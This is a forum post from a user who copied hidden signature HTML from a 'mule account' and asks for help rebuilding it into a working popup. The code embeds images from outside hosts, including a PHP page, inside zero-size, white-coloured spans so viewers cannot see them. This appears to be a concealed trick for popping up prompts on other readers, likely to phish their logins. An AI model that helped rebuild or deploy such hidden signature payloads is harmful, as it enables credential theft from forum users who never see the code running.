Php flp?

So I grabbed a snippet of code off of someone's mule account while going through the forums. I remember when this first came up someone had a guide out for it and it was pretty genius. I thought so anyway. But anyway, how do I go about rebuilding this into a functioning popup? My coding skills are pretty rusty...

Code:

---

<div id="signature" class="section">
    <h2>Signature</h2>
 
    <p><span style="font-size:0px; line-height:normal;"><span style="color:white"><img src="http://www.gaiaonlinefeature.***.com" alt=""  /></span></span>
<br /><span style="font-size:0px; line-height:normal;"><span style="color:white"><img src="http://gaiaonlineforum.110mb.com/index.php" alt=""  /></span></span></p>
    <div class="clear"></div>
</div>
    </div>
            <div class="clear"></div>
        </div>
    </div>

---

Code:

---

<div class="post-signature signature-7814685">
        <div class="user-sig">
<span style="font-size: 0px"><span style="color: white"><img src="http://www.gaiaonlinefeature.***.com" alt="User Image"/></span></span><br/>
<span style="font-size: 0px"><span style="color: white"><img src="http://gaiaonlineforum.110mb.com/index.php" alt="User Image"/></span></span>        </div>
        <div class="extra_sigs">
        </div>
</div>
            </div>
</div>

EDIT:
As an afterthought, if someone has extra time/patience to show me how to do coding and stuff I'd appreciate it.
